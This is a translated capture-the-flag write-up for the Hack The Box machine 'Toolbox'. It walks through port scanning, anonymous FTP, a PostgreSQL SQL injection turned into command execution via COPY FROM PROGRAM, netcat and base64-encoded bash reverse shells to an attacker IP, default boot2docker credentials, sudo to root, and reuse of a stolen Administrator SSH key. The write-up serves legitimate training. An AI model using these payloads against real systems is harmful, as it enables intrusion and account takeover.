This page was translated from Spanish with AI. The original version is in Spanish: read the original.

Toolbox


October 29, 202310 minutes

Reconnaissance

First of all, we check whether the machine is up and which OS it runs

ping -c 1 10.10.10.236
PING 10.10.10.236 (10.10.10.236) 56(84) bytes of data.
64 bytes from 10.10.10.236: icmp_seq=1 ttl=127 time=152 ms

--- 10.10.10.236 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 151.535/151.535/151.535/0.000 ms

We have connectivity, and in this case it returns a TTL (time to live) of 127, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Windows

Port scan

Now we start with a port scan

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.236 -oG allPorts
Parameter explanation
ParameterPurpose
-p-Scan all ports (65536)
–openOnly report open ports
–min-rate 5000Set the scan speed
-nSkip DNS resolution
-vvvPrint findings to the console as they come
-PnSkip checking whether the host is up
-oG allPortsSave the scan in grepable format to a file called allPorts

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

extractPorts allPorts
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.236
   5   │     [*] Open ports: 21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts

> nmap -p21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669 -sCV 10.10.10.236 -oN versions

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           FileZilla ftpd
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r-xr-xr-x 1 ftp ftp      242520560 Feb 18  2020 docker-toolbox.exe
22/tcp    open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 5b:1a:a1:81:99:ea:f7:96:02:19:2e:6e:97:04:5a:3f (RSA)
|   256 a2:4b:5a:c7:0f:f3:99:a1:3a:ca:7d:54:28:76:b2:dd (ECDSA)
|_  256 ea:08:96:60:23:e2:f4:4f:8d:05:b3:18:41:35:23:39 (ED25519)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      Apache httpd 2.4.38 ((Debian))
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.38 (Debian)
|_ssl-date: TLS randomness does not represent time
|_http-title: MegaLogistics
| ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR
| Not valid before: 2020-02-18T17:45:56
|_Not valid after:  2021-02-17T17:45:56
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-10-29T20:34:08
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: 1s
Parameter explanation
ParameterPurpose
-pThe open ports found in the previous scan
-sCRun basic reconnaissance scripts
-sVReport the version and details of the services running on the ports

FTP

nmap reported that anonymous login is enabled on port 21 (FTP). This means we can log in as the anonymous user without a password. Once connected, we see a file called docker-toolbox.exe; we can’t do anything with it for now, but we won’t forget about it 😉

$ ftp 10.10.10.236

Connected to 10.10.10.236.
Name (10.10.10.236:d3b0o): anonymous
331 Password required for anonymous
Password: 
230 Logged on
ftp> ls
-r-xr-xr-x 1 ftp ftp      242520560 Feb 18  2020 docker-toolbox.exe

SMB

nmap also reported an SMB service running on the target machine. With crackmapexec we get a bit more information about the target machine…

crackmapexec smb 10.10.10.236
SMB         10.10.10.236    445    TOOLBOX          [*] Windows 10.0 Build 17763 x64 (name:TOOLBOX) (domain:Toolbox) (signing:False) (SMBv1:False)

Now we could try listing the SMB shares with different tools, but we don’t have permission to enumerate the shares, so we can’t go this way either


HTTPS

Going back to the nmap scan, there is a line in the port 443 output that says the following

ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR

So we’ll add this domain to /etc/hosts

10.10.10.236 megalogistic.com admin.megalogistic.com

On the admin.megalogistic.com website we see a login panel. Trying the classic SQL injection ' or 1=1-- - in the username field, we can log in successfully. We can’t get much information from the website; we can only see the developer and version (MegaCorp 1.0.0) and a to-do that says:

  • Send credentials to Tony
  • Update the printer drivers

Exploitation

There is more we can try in the panel above. So far we’ve only logged in with 'or 1=1-- -, but maybe we can do more.

We start by entering a single quote to see whether a readable database error shows up.

Warning: pg_query(): Query failed: ERROR: unterminated quoted string at or near "''' AND password = md5('');" LINE 1: SELECT * FROM users WHERE username = ''' AND password = md5(... ^ in /var/www/admin/index.php on line 10

Warning: pg_num_rows() expects parameter 1 to be resource, bool given in /var/www/admin/index.php on line 11

An error does show up mentioning pg_query(), which tells us we’re dealing with PostgreSQL

To learn how to inject into PostgreSQL, there is a very interesting resource in the Payloads All The Things repo, which mentions an interesting vulnerability that turns the SQL injection into RCE (Remote Code Execution)

Basically, it consists of creating a table in the database the website uses

CREATE TABLE cmd_exec(cmd_output text);

Using COPY, the output of the id command will be put into the table, which causes the id command to be executed

COPY cmd_exec FROM PROGRAM 'id';

Optionally, if we can see the output, we could read it simply by querying the cmd_exec table

SELECT * FROM cmd_exec;

Knowing this, let’s go with the exploitation:

First we intercept the request with Burp Suite and send it to Repeater to work more comfortably. In the username field we add a quote to close the username’s quote, and then a ; to make another query. Now we can enter the query that performs the injection: CREATE TABLE cmd_exec(cmd_output text);. Finally, we comment out the rest with -- - so it ignores the next part of the password check query (if this isn’t clear, I have a video on my YouTube channel where I explain in 6 minutes how SQL injections work)

username=';+CREATE+TABLE+cmd_exec(cmd_output text)-- -

Now the cmd_exec table has been created

Reverse shell

Since the machine is Windows, to send ourselves a reverse shell we need to share the netcat executable (nc.exe) over SMB. If you’re on Kali or Parrot you probably already have it installed; you can find it with locate nc.exe. Now, from the same directory where nc.exe is, we can start the SMB server like this:

impacket-smbserver smb $(pwd) --smb2support
Parameter explanation
  • ${pwd}: The current working directory; in this command it tells the SMB server where to share from
  • –smb2support: Enables SMB version 2 support

Now we listen on port 443 to receive the reverse shell

nc -nlvp 443
Parameter explanation
  • n: Skip DNS resolution
  • l: Enable netcat’s listen mode
  • v: Verbose mode
  • p: Finally, p specifies the port number we’ll be listening on

With the SMB server running and the listener ready, we can now send the reverse shell through the SQL injection.

username=';+COPY+cmd_exec+FROM+PROGRAM+'//10.10.14.28/nc.exe+-e+cmd.exe+10.10.14.28+443'-- -&password=test

We don’t receive anything…

Even though the machine is Windows, maybe it has Docker, so instead of sending the reverse shell with netcat over SMB, we can try sending it directly with bash

The classic bash reverse shell is bash -i >& /dev/tcp/10.10.14.28/443 0>&1, but we’ll wrap it in bash -c "bash -i..." because the plain one might get blocked by the target machine. In short, it will look like this:

bash -c "bash -i >& /dev/tcp/10.10.14.28/443 0>&1"

Before using it in the injection, we’ll base64-encode it to avoid problems with special characters.

echo 'bash -c "bash -i >& /dev/tcp/10.10.14.28/443 0>&1"' | base64

Now we have the base64 string, but there is a + in it, which we can replace with %2b. The final command we need in the injection would be: first an echo with the base64, then base64 -d to decode it, and finally bash so the decoded result is run with bash.

echo "YmFzaCAtYyAiYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4yOC80NDMgMD4mMSIK" | base64 -d | bash

Applied to the injection, it would look like this:

username=';+COPY+cmd_exec+FROM+PROGRAM+'echo+"YmFzaCAtYyAiYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4yOC80NDMgMD4mMSIK"+|+base64+-d+|+bash'--+-

We get the connection!!!!!

Before escalating, we upgrade the TTY so we can use ctrl + c, ctrl + l, nano…

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset
xterm
export TERM=xterm
export SHELL=bash

Privilege escalation

We can tell we’re inside Docker because there is a .dockerenv file in the root directory

postgres@bc56e3cc55e9:/$ ls -la
total 80
drwxr-xr-x   1 root root 4096 Mar 29  2021 .
drwxr-xr-x   1 root root 4096 Mar 29  2021 ..
-rwxr-xr-x   1 root root    0 Mar 29  2021 .dockerenv
drwxr-xr-x   1 root root 4096 Feb 19  2020 bin
drwxr-xr-x   2 root root 4096 Nov 10  2019 boot
drwxr-xr-x   5 root root  340 Oct 30 20:54 dev
...

A Google search turns up some default SSH credentials for boot2docker (website)

  • user: docker
  • pass: tcuser

If we check our IP with ifconfig, we see 172.17.0.2, so the gateway will most likely be 172.17.0.1

postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.2  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:ac:11:00:02  txqueuelen 0  (Ethernet)
        RX packets 1338  bytes 183525 (179.2 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1163  bytes 173814 (169.7 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 3461  bytes 1232799 (1.1 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3461  bytes 1232799 (1.1 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

So we can connect to the Docker host machine with ssh [email protected]

postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ ssh [email protected]
[email protected]'s password: 
   ( '>')
  /) TC (\   Core is distributed with ABSOLUTELY NO WARRANTY.
 (/-_--_-\)           www.tinycorelinux.net

docker@box:~$ 

Escalating to root/Administrator

If we run sudo -l to see what we can run with sudo, it shows we can run any command as root without a password.

docker@box:~$ sudo -l
User docker may run the following commands on this host:
    (root) NOPASSWD: ALL
docker@box:~$ 

Knowing this, we can simply run sudo bash and we’ll be root

docker@box:~$ sudo bash
root@box:/home/docker#

Looking around the files in the root directory a bit, there is a directory called c with a folder structure similar to Windows, where we can find the final flag

root@box:/c/Users/Administrator/Desktop# ls                                    
desktop.ini  root.txt
root@box:/c/Users/Administrator/Desktop#

And we have the root.txt flag

As a bonus, in the /c/Windows/Users/.ssh directory we can find an SSH private key that we can use to leave Docker and get onto the host machine. To use it, we have to save it to a file on our machine

To avoid problems, we have to set its permissions

chmod 600 id_rsa

Now we can connect over SSH as Administrator on the target machine with the following command

ssh -i id_rsa [email protected]

And we have a console as Administrator on the target machine

$ ssh -i id_rsa [email protected]

administrator@TOOLBOX C:\Users\Administrator>